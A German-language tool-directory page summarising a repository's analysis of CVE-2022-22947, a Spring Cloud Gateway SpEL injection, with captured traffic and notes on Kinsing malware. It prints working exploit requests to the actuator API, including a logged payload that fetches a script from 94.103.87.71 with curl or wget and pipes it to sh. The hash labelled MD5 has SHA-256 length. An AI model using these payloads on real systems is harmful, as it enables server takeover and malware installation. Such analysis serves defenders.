Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/sumitpathania03/cve-2022-22947
SchwachstellenanalyseExploitationWebanwendungs-ExploitationMalware-AnalysePapers & ForschungLernen & BildungArchived
GitHubsumitpathania03/cve-2022-22947

CVE-2022-22947

Detaillierte technische Analyse und Proof-of-Concept für CVE-2022-22947, eine Spring Cloud Gateway SpEL-Injection, die zu RCE führt, einschließlich schrittweiser Ausnutzung, PCAP-Analyse und Untersuchung von Malware (Kinsing).

Repository anzeigen
9vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-22947

CVE-2022-22947 (Spring-Cloud-Gateway) Im ersten Quartal 2022 wurde eine interessante und kritische (Basisbewertung 10.0) Sicherheitslücke in Spring Cloud Gateway entdeckt, die eine Code-Injection über die Actuator-API zur Durchführung von SpEL-Injection ermöglicht und potenziell zu einer Systemkompromittierung führen kann. Spring Cloud Gateway Versionen vor 3.1.1+ und 3.0.7+ In Spring Cloud Gateway sind Anwendungen anfällig für einen Code-Injection-Angriff, WENN:Der Gateway Actuator-Endpunkt aktiviert, freigegeben und ungesichert ist.

SCHWACHSTELLEN-FLUSSDIAGRAMM

spring

PCAP-ANALYSE

  1. DER ANGREIFER SENDET EINE POST-ANFRAGE + JSON ZUR ERSTELLUNG EINER NEUEN ROUTE IM GATEWAY UND KONFIGURIERT MIT DER JSON-KONFIGURATIONSDATEI DEN RESPONSE-HEADER DIESER ROUTE
root@kitploit:~
POST /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 372

{"id": "BuOHOGeywH", "filters": [{"name": "AddResponseHeader", "args": {"name": "Result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}], "uri": "http://example.com", "order": 0}

ANTWORT:

root@kitploit:~
HTTP/1.1 201 Created Location: /routes/xwpdsdeb content-length: 0

WIE WIR IN DER JSON-DATEI SEHEN KÖNNEN, ERHALTEN WIR DEN WERT DES RESPONSE-HEADERS DURCH AUSFÜHRUNG DIESES AUSDRUCKS
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}]

UND WIR KÖNNEN IN DER exec( )-METHODE EINEN ZUSAMMENGESETZTEN BEFEHL ZUR REMOTE-CODE-AUSFÜHRUNG SEHEN.

  1. DANN SENDET DER ANGREIFER EINE POST-ANFRAGE, UM ALLE ROUTEN ZU AKTUALISIEREN
root@kitploit:~
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0

ANTWORT:

root@kitploit:~
HTTP/1.1 200 OK
  1. DANN SENDET DER ANGREIFER EINE GET-ANFRAGE AUF DIE NEU ERSTELLTE ROUTE, UM DEN RCE-BEFEHL IM RESPONSE-HEADER AUSZUFÜHREN
root@kitploit:~
GET /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json

ANTWORT:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 27 Dec 2023 09:45:00 UTC
Content-Length: 202

{"predicate": "RouteDefinitionRouteLocator$$Lambda$1046/0x0000000840610840", "route_id": "xwpdsdeb", "filters": ["[[AddResponseHeader Result = ''], order = 1]"], "uri": "10.0.2.15/xwpdsdeb", "order": 0}

ANTWORT 200 OK ZEIGT AN, DASS DER RCE-BEFEHL ERFOLGREICH AUSGEFÜHRT WURDE

  1. DANN SENDET DER ANGREIFER EINE DELETE-ANFRAGE, UM DIESE ROUTE ZU LÖSCHEN
root@kitploit:~
DELETE /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0

ANTWORT:

root@kitploit:~
HTTP/1.1 200 OK CONNECTION: close
Date: Wed, 27 Dec 2023 09:45:01 UTC
Content-Length: 4855
HTTP 200 OK ZEIGT AN, DASS DIE ROUTE ERFOLGREICH GELÖSCHT WURDE

LOG-DATEN

DEKODIERTER SHELLCODE:

root@kitploit:~
POST /actuator/gateway/routes/BuOHOGeywH HTTP/1.1
Host: 180.188.253.170:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 411
Content-Type: application/json
Accept-Encoding: gzip

{
	 "id": "BuOHOGeywH",
	 "filters": [{
	   "name": "AddResponseHeader",
	   "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 94.103.87.71/scg.sh||wget -q -O- 94.103.87.71/scg.sh)|sh\"}).getInputStream()))}"}
	   }],
	 "uri": "http://example.com",
	 "order": 0
	}

NACH DEM DEKODIEREN DIESES SHELLCODES HABE ICH EINE WGET-URL EINES SKRIPTS GEFUNDEN. DANN HABE ICH DIESES SKRIPT MANUELL HERUNTERGELADEN UND NACH DER ANALYSE DES SKRIPTS EINE DOWNLOAD-URL FÜR DIE KINSING-MALWARE GEFUNDEN

SP

UND VON DIESER URL HABE ICH DIE KINSING-MALWARE IN EINER ZIP-DATEI FÜR WEITERE ANALYSEN HERUNTERGELADEN. DANACH HABE ICH DEN MD5-WERT=787e2c94e6d9ce5ec01f5cbe9ee2518431eca8523155526d6dc85934c9c5787c DIESER MALWARE ANALYSIERT UND HIER IST, WAS ICH HERAUSGEFUNDEN HABE

SP

SP

Tool herunterladen